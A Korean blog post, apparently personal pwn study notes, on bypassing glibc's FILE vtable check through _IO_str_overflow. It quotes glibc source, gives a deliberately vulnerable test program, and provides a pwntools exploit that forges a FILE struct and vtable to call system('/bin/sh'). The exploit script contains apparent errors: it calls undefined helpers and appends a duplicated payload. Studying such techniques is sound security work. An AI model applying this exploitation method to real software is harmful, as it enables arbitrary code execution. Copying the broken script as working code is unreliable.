본문 바로가기

system/material

linux file vtable check bypass

linux file vtable check bypass

vtable check (glibc >= 2.24)

/*
 _IO_vtable_check
 Source: https://code.woboq.org/userspace/glibc/libio/vtables.c.html#_IO_vtable_check
*/

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
 void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
 PTR_DEMANGLE (flag);
#endif
 if (flag == &_IO_vtable_check)
   return;
{
   Dl_info di;
   struct link_map *l;
   if (_dl_open_hook != NULL
      || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
           && l->l_ns != LM_ID_BASE))
     return;
}
#else /* !SHARED */
 if (__dlopen != NULL)
   return;
#endif
 __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

크게 _dl_open_hook에 값을 넣어 조건문을 우회하는 방식과 _IO_str_overflow 함수를 이용하여 libc range checking을 우회하는 방식이 존재한다.

_IO_str_overflow_IO_jumps_t에 존재하는 함수인데 얘를 조금 더 살펴보자.

/* Source: https://code.woboq.org/userspace/glibc/libio/strops.c.html#_IO_str_overflow
*/

_IO_str_overflow (_IO_FILE *fp, int c)
{
 int flush_only = c == EOF;
 _IO_size_t pos;
 if (fp->_flags & _IO_NO_WRITES)
     return flush_only ? 0 : EOF;
 if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
  {
     fp->_flags |= _IO_CURRENTLY_PUTTING;
     fp->_IO_write_ptr = fp->_IO_read_ptr;
     fp->_IO_read_ptr = fp->_IO_read_end;
  }
 pos = fp->_IO_write_ptr - fp->_IO_write_base;
 if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
  {
     if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
       return EOF;
     else
  {
     char *new_buf;
     char *old_buf = fp->_IO_buf_base;
     size_t old_blen = _IO_blen (fp);
     _IO_size_t new_size = 2 * old_blen + 100;
     if (new_size < old_blen)
       return EOF;
     new_buf
       = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

       /* ^ Getting RIP control !*/

마지막 (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);을 통해 system("/bin/sh")를 실행시킬 수 있다.

즉, fake file struct를 만들 수 있으면 vtable checking은 거의 무의미하다는 것!

Test Code

  /* gcc vuln.c -o vuln */
 
 #include <stdio.h>
 #include <unistd.h>
 
 char fake_file[0x200];
 
 int main() {
   FILE *fp;
   puts("Leaking libc address of stdout:");
>>  printf("%p\n", stdout); // Emulating libc leak
   puts("Enter fake file structure");
   read(0, fake_file, 0x200);
   fp = (FILE *)&fake_file;
   fclose(fp);
   return 0;
}
from pwn import *

#context.log_level= 'debug'

e = ELF('test')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
sa = lambda x,y: s.sendafter(x,y)

def pack_file(_flags = 0,
             _IO_read_ptr = 0,
             _IO_read_end = 0,
             _IO_read_base = 0,
             _IO_write_base = 0,
             _IO_write_ptr = 0,
             _IO_write_end = 0,
             _IO_buf_base = 0,
             _IO_buf_end = 0,
             _IO_save_base = 0,
             _IO_backup_base = 0,
             _IO_save_end = 0,
             _IO_marker = 0,
             _IO_chain = 0,
             _fileno = 0,
             _lock = 0):
   struct = p32(_flags) + \
            p32(0) + \
            p64(_IO_read_ptr) + \
            p64(_IO_read_end) + \
            p64(_IO_read_base) + \
            p64(_IO_write_base) + \
            p64(_IO_write_ptr) + \
            p64(_IO_write_end) + \
            p64(_IO_buf_base) + \
            p64(_IO_buf_end) + \
            p64(_IO_save_base) + \
            p64(_IO_backup_base) + \
            p64(_IO_save_end) + \
            p64(_IO_marker) + \
            p64(_IO_chain) + \
            p32(_fileno)
   struct = struct.ljust(0x88, "\x00")
   struct += p64(_lock)
   struct = struct.ljust(0xd8, "\x00")
   return struct

ru(':')
l_base = int(s.recv(16), 16) - l.symbols['_IO_2_1_stdout_']
log.info('l_base: {}'.format(hex(l_base)))
rip = l_base + l.symbols['system']
rdi = l_base + l.search("/bin/sh").next()
io_str_overflow = l_base + l.symbols['_IO_file_jumps'] + 0xd8
fake_vtable = io_str_overflow - 8*2

pay = pack_file(_IO_buf_base=0, _IO_buf_end = (rdi-100)/2, _IO_write_ptr = (rdi-100)/2, _IO_write_base = 0, _lock = e.symbols['fake_file'] + 0x80)

pay += p64(fake_vtable)
pay += p64(rip)
pay += pay.ljust(0x100, '\x00')

sla('structure\n', pay)
io()


'system > material' 카테고리의 다른 글

seccomp_bypass_trick  (0) 2019.12.26
iretq, fops, tty, tty_ops struct  (0) 2019.11.19
kernel debugging with vmware  (0) 2019.11.17
peda special instruction  (0) 2019.11.11
linux kernel module 작성해보기  (0) 2019.11.11